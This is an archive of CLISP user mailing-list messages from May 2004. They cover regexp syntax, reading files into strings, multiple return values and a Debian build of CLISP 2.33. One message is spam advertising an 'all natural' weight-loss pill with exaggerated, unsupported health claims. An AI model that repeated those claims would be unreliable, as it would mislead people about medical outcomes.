(http://www.podval.org/~sds) running w2k A year spent in artificial intelligence is enough to make one believe in God. From bruno@clisp.org Wed May 26 11:26:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BT36j-0001ja-5A for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 11:26:29 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BT36i-0007nv-J6 for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 11:26:28 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4QIK9iM028424; Wed, 26 May 2004 20:20:09 +0200 (MET DST) Received: from skymaple.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4QIK08Z008264; Wed, 26 May 2004 20:20:04 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by skymaple.ilog.fr (Postfix) with ESMTP id C4A213B3FE; Wed, 26 May 2004 18:11:42 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , "John K. Hinsdale" User-Agent: KMail/1.5 References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405262011.36553.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 11:27:01 2004 X-Original-Date: Wed, 26 May 2004 20:11:36 +0200 Sam wrote: > I am inclined to _remove_ this page at all because we already link to > the canonical regexp reference > > and because lack of DocBook/XML source makes it a distribution nightmare. Please don't remove these two syntax descriptions. A manual page is something that a user can understand; the POSIX regexp reference is not readable like this. Bruno From hall.cj@verizon.net Wed May 26 18:45:25 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BT9xR-00022U-IW for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 18:45:21 -0700 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BT9xR-0002m5-57 for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 18:45:21 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out006.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040527014519.NMUQ3317.out006.verizon.net@naia.homelinux.net>; Wed, 26 May 2004 20:45:19 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BT9xO-00027u-00; Wed, 26 May 2004 15:45:18 -1000 To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Regexps w/clisp Message-ID: <20040527014517.GX12512@naia.homelinux.net> References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Hmb9n29fjuiORm2l" Content-Disposition: inline In-Reply-To: <200405261602.i4QG2Fgo004295@van-halen.alma.com> User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [4.64.145.131] at Wed, 26 May 2004 20:45:19 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 18:46:10 2004 X-Original-Date: Wed, 26 May 2004 15:45:17 -1000 --Hmb9n29fjuiORm2l Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, May 26, 2004 at 12:02:15PM -0400, John K. Hinsdale wrote: >=20 > I think this will do what you want: >=20 > (setf patt "<[/]\\?issuer\\(.*\\)\\?>") > (regexp:match patt "CITIZENS BANKING CORP") >=20 > Note that the backslashes are doubled so that the literal string > assigned to "patt" is: >=20 > <[/]\?issuer\(.*\)\?>") >=20 > and the ? quantifier and grouping parens are preceded by backslash >=20 > > I already have some useful regexes to do what I want on this data that > > run in production under awk and/or guile - I can pretty much just cut > > and paste expressions from one to the other. >=20 > There is a module called "pcre" (Perl-Compatible Regular Expressions) > that will use regex syntax ala perl. I prefer this actually, mainly > because perl's syntax avoids what Larry Wall called "backslashitis", Like in Emacs regexes? ;-) Module "pcre" doesn't seem to be available for 2.29, I'm still working on getting current clisp to build on my box. At any rate, I'd prefer to not have to add yet another piece to the list of required supporting software for my app, and my needs, I am fairly certain, can be met with the basic package, if I can just get my mind around it. >=20 > I agree all this different syntaxes are reall pain=20 >=20 Naaaw, they just make life that much more 'interesting'. ;-D I *am* trying to upgrade to the current clisp - I noticed that I have gcc 3.0 installed already, so I think I will try that for building clisp. FWIW, I keep the http://clisp.cons.org/impnotes/modules.html#regexp page open in my browser when I am working with regexp in clisp. According to the man _and_ info pages grep/egrep/fgrep, if the env variable POSIXLY_CORRECT is set, they will behave appropriately. More specifically on the quoting, they inform us that 'basic' expressions require quoting by backslash, 'grep -E'/egrep do not, but from my testing will accept them. And thanks for the proper quoted version - as it turns out I *had* tried it but not on a free-standing string, as in your example. Please see the following as to what I mean by this, and why I am still a bit confused. I find the following to be some 'interesting' ;-) behavior. [125]> test-rx "<[/]\\?issuer\\(.*\\)\\?>" [126]> test-str " 0 0000351077 CITIZENS BANKING CORP CBCF " [127]> (match test-rx test-str) #S(REGEXP::REGMATCH_T :RM_SO 58 :RM_EO 255) ; #S(REGEXP::REGMATCH_T :RM_SO 65 :RM_EO 254) [128]>=20 So far so good. 'K. (And thanks again.) (BTW, how do I access the second match? Lisp newbie here, I'm afraid. I've tried all sort of things, but can't seem to figure it out. Use 'multiple-value-something' perhaps?) Now, I'm using this (probably very naive and newbie-like) function to read the file containing the data to be matched against. (defun get-file (fname) (let ((in-data "") (in-name fname) (new-ln (coerce (list #\Newline) 'string))) (with-open-file (in-file in-name :direction :input) (do ((cur-line (read-line in-file nil "<< (match test-rx xml) NIL [129]>=20 As shown, 'get-file', *doesn't* include newlines, since read-line doesn't pass them on, but I get the same result if I *do* include the newlines. It is my understanding that the interaction of regexes and newlines can sometimes be a bit subtle, so I am unsure of the consequences. I've also tried: [129]> (setf xml (coerce (get-file "srchsec-xmple.xml") 'string)) [130]> (match test-rx xml) NIL [131]>=20 I noticed the following at the very start of the contents of var 'xml': "" so I also tried (setf xml (subseq xml 24 (length xml))) to get rid of the offending data, thinking that the quoted/escapes characters might confuse the regexp engine somehow, but still get NIL on the match. Any idea if those characters would adversely affect a match in some way? I really appreciate your patience and time in helping a clueless newbie luser like me! Aloha, +Chris --=20 Good judgment comes from experience. Experience comes from bad judgment. - Jim Horning --Hmb9n29fjuiORm2l Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAtUgtrZy455Pig6QRAiNTAKCvlsGWa8/PKWySkFxCjg7R0H+u6wCeN+fD 3X5XjxtkeckQVUVXDq1uVXY= =Xjd/ -----END PGP SIGNATURE----- --Hmb9n29fjuiORm2l-- From sds@gnu.org Wed May 26 18:52:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BT2be-0003Ce-HU for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 10:54:22 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BT2be-00059X-9s for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 10:54:22 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BT2bd-00022B-00; Wed, 26 May 2004 13:54:21 -0400 To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405261602.i4QG2Fgo004295@van-halen.alma.com> (John K. Hinsdale's message of "Wed, 26 May 2004 12:02:15 -0400") References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 18:53:25 2004 X-Original-Date: Wed, 26 May 2004 13:54:20 -0400 > * John K. Hinsdale [2004-05-26 12:02:15 -0400]: > > Sam: the syntax page at: > > http://clisp.cons.org/impnotes/regexp.html > > should probably say it's POSIX, and draw a distinction b/w other > syntaxes (GNU grep, perl, etc.) that page is generated from texinfo source lifted from ed man page (at least that's what the source says) I am inclined to _remove_ this page at all because we already link to the canonical regexp reference and because lack of DocBook/XML source makes it a distribution nightmare. -- Sam Steingold (http://www.podval.org/~sds) running w2k Only the mediocre are always at their best. From sds@gnu.org Wed May 26 19:51:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTAzS-0004z3-O3 for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 19:51:30 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BTAzS-0001hj-KC for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 19:51:30 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BTAzR-0005Aw-00; Wed, 26 May 2004 22:51:29 -0400 To: clisp-list@lists.sourceforge.net, Chris Hall Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040527014517.GX12512@naia.homelinux.net> (Chris Hall's message of "Wed, 26 May 2004 15:45:17 -1000") References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> <20040527014517.GX12512@naia.homelinux.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Chris Hall Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 19:52:03 2004 X-Original-Date: Wed, 26 May 2004 22:51:26 -0400 > * Chris Hall [2004-05-26 15:45:17 -1000]: > > #S(REGEXP::REGMATCH_T :RM_SO 58 :RM_EO 255) ; > #S(REGEXP::REGMATCH_T :RM_SO 65 :RM_EO 254) > > (BTW, how do I access the second match? Lisp newbie here, I'm afraid. > I've tried all sort of things, but can't seem to figure it out. Use > 'multiple-value-something' perhaps?) yes, MULTIPLE-VALUE-BIND or MULTIPLE-VALUE-LIST > Now, I'm using this (probably very naive and newbie-like) function to > read the file containing the data to be matched against. > > (defun get-file (fname) > (let ((in-data "") > (in-name fname) > (new-ln (coerce (list #\Newline) 'string))) > (with-open-file (in-file in-name :direction :input) > (do ((cur-line > (read-line in-file nil "<< (read-line in-file nil "<< ((equal "<< ; (setf in-data (concatenate 'string in-data cur-line new-ln)))) > (setf in-data (concatenate 'string in-data cur-line)))) > in-data)) 1. you want to use EQ to check for EOF (this is actually a bug in your code!) 2. also, you want to pass the stream itself as the 3rd argument to READ-LINE (this is a standard idiom). 3. if you want to read the whole file into one string, you should do it like this: (defun read-whole-file (name) (with-open-file (s name) (let ((ret (make-string (file-length s)))) (read-sequence ret s) ret))) your method is extremely inefficient. -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not tell me what to do and I will not tell you where to go. From sds@gnu.org Wed May 26 21:28:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTCUt-0003Y5-57 for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 21:28:03 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BTCUs-0002Jk-QS for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 21:28:02 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BTCUp-0007fL-00; Thu, 27 May 2004 00:27:59 -0400 To: Bruno Haible Cc: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405262011.36553.bruno@clisp.org> (Bruno Haible's message of "Wed, 26 May 2004 20:11:36 +0200") References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> <200405262011.36553.bruno@clisp.org> Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net, "John K. Hinsdale" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 21:29:01 2004 X-Original-Date: Thu, 27 May 2004 00:27:58 -0400 > * Bruno Haible [2004-05-26 20:11:36 +0200]: > > Sam wrote: >> I am inclined to _remove_ this page at all because we already link to >> the canonical regexp reference >> >> and because lack of DocBook/XML source makes it a distribution nightmare. > > Please don't remove these two syntax descriptions. A manual page is > something that a user can understand; the POSIX regexp reference is > not readable like this. I am not sure what you mean here. At any rate, the regexp module comes with a 10 y.o. implementation whose origin is unclear. (One big problem is unicode). The man page has, apparently, the same origin. Note that we use the OS regexp when it is available, so this page is irrelevant most of the time. I would prefer either finding a unicode regexp and ignoring the OS, or dumping the bundled regexp and requiring OS to offer one. OTOH, win32 loses then. forget it, it's a can of worms. -- Sam Steingold (http://www.podval.org/~sds) running w2k main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} From cortezxw@nextron.ch Wed May 26 23:31:53 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTEQj-0000lr-AB; Wed, 26 May 2004 23:31:53 -0700 Received: from [218.55.54.73] (helo=turbotek.co.kr) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BTEQi-0006cj-5x; Wed, 26 May 2004 23:31:52 -0700 Received: from 242.4.181.251 by smtp.nextron.ch; Thu, 27 May 2004 06:29:25 +0000 Message-ID: <70b501c443b3$1fe8291a$cd656399@turbotek.co.kr> From: "Barney Cortez" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.3 ALL_NATURAL BODY: Spam is 100% natural?! 0.1 EXCUSE_10 BODY: "if you do not wish to receive any more" 0.8 BIZ_TLD URI: Contains a URL in the BIZ top-level domain Subject: [clisp-list] Very powerful weightloss now available. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 23:32:06 2004 X-Original-Date: Thu, 27 May 2004 04:29:21 -0200 Hello, I have a special_offer for you... WANT TO LOSE WEIGHT? The most powerful weightloss is now available without prescription. All natural Adipren720 100% Money Back Guarantée! - Lose up to 19% Total Body Weight. - Up to 300% more Weight Loss while dieting. - Loss of 20-35% abdominal Fat. - Reduction of 40-70% overall Fat under skin. - Increase metabolic rate by 76.9% without Exercise. - Boost your Confidence level and Self Esteem. - Burns calorized fat. - Suppresses appetite for sugar. Get the facts about all-natural Adipren720 If you wish not to be contacted again please enter your email address here. From hall.cj@verizon.net Thu May 27 00:21:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTFCj-0001Bv-0M for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 00:21:29 -0700 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BTFCi-0000eR-Kz for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 00:21:28 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out002.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040527072127.WUGI9273.out002.verizon.net@naia.homelinux.net> for ; Thu, 27 May 2004 02:21:27 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BTFCf-0003hg-00 for ; Wed, 26 May 2004 21:21:25 -1000 To: clisp-list@lists.sourceforge.net Message-ID: <20040527072124.GY12512@naia.homelinux.net> References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> <20040527014517.GX12512@naia.homelinux.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="IQ2ZtBPOZQVGoXc0" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [4.64.145.131] at Thu, 27 May 2004 02:21:27 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 00:22:02 2004 X-Original-Date: Wed, 26 May 2004 21:21:24 -1000 --IQ2ZtBPOZQVGoXc0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, May 26, 2004 at 10:51:26PM -0400, Sam Steingold wrote: > > (BTW, how do I access the second match? Lisp newbie here, I'm afraid. > > I've tried all sort of things, but can't seem to figure it out. Use > > 'multiple-value-something' perhaps?) >=20 > yes, MULTIPLE-VALUE-BIND or MULTIPLE-VALUE-LIST >=20 Woot! MULTIPLE-VALUE-LIST works for me. I had looked at MULTIPLE-VALUE-BIND, but according to CLHS if one doesn't know the proper number of values ahead time, extra ones get discarded. I couldn't figure out how to the count, so I stopped looking there. I really must get into the habit of poking around in CLHS a bit more - esp. since I have a local copy - I might have found this for myself. > 1. you want to use EQ to check for EOF (this is actually a bug in your co= de!) >=20 > 2. also, you want to pass the stream itself as the 3rd argument to > READ-LINE (this is a standard idiom). >=20 > 3. if you want to read the whole file into one string, you should do it > like this: >=20 > (defun read-whole-file (name) > (with-open-file (s name) > (let ((ret (make-string (file-length s)))) > (read-sequence ret s) > ret))) >=20 > your method is extremely inefficient. >=20 With the emphasis on *extremely* - yikes! (Experienced lispers might want to avoid looking at this - too painful! I sheepishly wonder if I could possibly have made it even slower. :-}) My naive newbie version: [133]> (time (setf xml (get-file "srchsec-xmple.xml"))) Real time: 0.644871 sec. Run time: 0.42 sec. Space: 4916144 Bytes GC: 10, GC time: 0.32 sec. Sam's *much, much, much* better version. [134]> (time (setf xml (read-whole-file "srchsec-xmple.xml"))) Real time: 0.015718 sec. Run time: 0.02 sec. Space: 48392 Bytes A million thanks, Sam - very gracious and kind of you to share your experience and to set me straight. I'm sure that I have *lot* of lisp idioms such as this to learn - I guess the best place to get started is looking at other peoples' code and experimenting with my own. And CLHS, I suspect. > --=20 > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Do not tell me what to do and I will not tell you where to go. (Another great sig, Sam) Aloha, +Chris __ No single drop of water thinks it is responsible for the flood. -- Old adage --IQ2ZtBPOZQVGoXc0 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAtZb0rZy455Pig6QRAleeAKCvpSIMb/7GZZpCaqbgf54C/1zsKQCdGhqK NmYYt+j2f8z+KluEy+52iPg= =WTFk -----END PGP SIGNATURE----- --IQ2ZtBPOZQVGoXc0-- From ampy@ich.dvo.ru Thu May 27 00:40:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTFV4-0005J2-7V for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 00:40:26 -0700 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BTFV3-0004T9-7h for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 00:40:25 -0700 Received: from 192.168.8.116 ([192.168.8.116]) by chemi.ich.dvo.ru (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id i4R7eILB002671; Thu, 27 May 2004 18:40:18 +1100 From: Arseny Slobodjuk X-Mailer: The Bat! (v1.60q) Reply-To: Arseny Slobodjuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <2193188609.20040527184533@ich.dvo.ru> To: Chris Hall CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Regexps w/clisp In-Reply-To: <20040527072124.GY12512@naia.homelinux.net> References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> <20040527014517.GX12512@naia.homelinux.net> <20040527072124.GY12512@naia.homelinux.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 00:41:10 2004 X-Original-Date: Thu, 27 May 2004 18:45:33 +1100 > I really must get into the habit of poking around in CLHS a bit more - > esp. since I have a local copy - I might have found this for myself. And don't forget about comp.lang.lisp newsgroup! -- Best regards, Arseny mailto:ampy@ich.dvo.ru From hall.cj@verizon.net Thu May 27 03:18:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTHy1-0008GD-Mj for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 03:18:29 -0700 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BTHy1-0003wC-9j for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 03:18:29 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out007.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040527101825.OTHC28276.out007.verizon.net@naia.homelinux.net> for ; Thu, 27 May 2004 05:18:25 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BTHxw-0001EK-00 for ; Thu, 27 May 2004 00:18:24 -1000 To: clisp-list@lists.sourceforge.net Message-ID: <20040527101823.GZ12512@naia.homelinux.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="hX3v94LCWtOgt2h1" Content-Disposition: inline User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out007.verizon.net from [4.64.145.131] at Thu, 27 May 2004 05:18:25 -0500 X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] Working build of 2.33 on Debian? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 03:19:08 2004 X-Original-Date: Thu, 27 May 2004 00:18:24 -1000 --hX3v94LCWtOgt2h1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Debian Woody, kernel 2.2.20. gcc 3.0.4 /lib/libc-2.2.5.so /lib/libc.so.6 (Dunno quite how to interpret that - libc6 v2.2.5, if I had to guess.) Using clisp source for 2.33 from Sourceforge, obtained 18 May 2004, and clisp source 2.33-2 from Debian Packages obtained 26 May 2004, with Debian-supplied patches applied. Both build fine, but fail on the same test (output below). FWIW, building the Debian sources 'manually' like this, the build fails if on the 'manual' target, and again if I try to specify the postgresql module - I had to tweak the Makefile. I am pretty sure that these would be handled by apt, though. But the Sourceforge tarball worked just fine on both counts - woohoo! My question - how 'safe' would it be to use one of these builds? I'd really like to 'get with the program' and use 2.33. Thanks, +Chris __ No single drop of water thinks it is responsible for the flood. -- Old adage --------( 'make check' output follows (FDEFINITION (LIST 'SETF (GENSYM)))=20 OK: UNDEFINED-FUNCTION RUN-TEST: finished "excepsit" (0 errors out of 359 tests) RUN-ALL-TESTS: grand total: 3 errors out of 8,769 tests Real time: 371.6612 sec. Run time: 270.06 sec. Space: 289770080 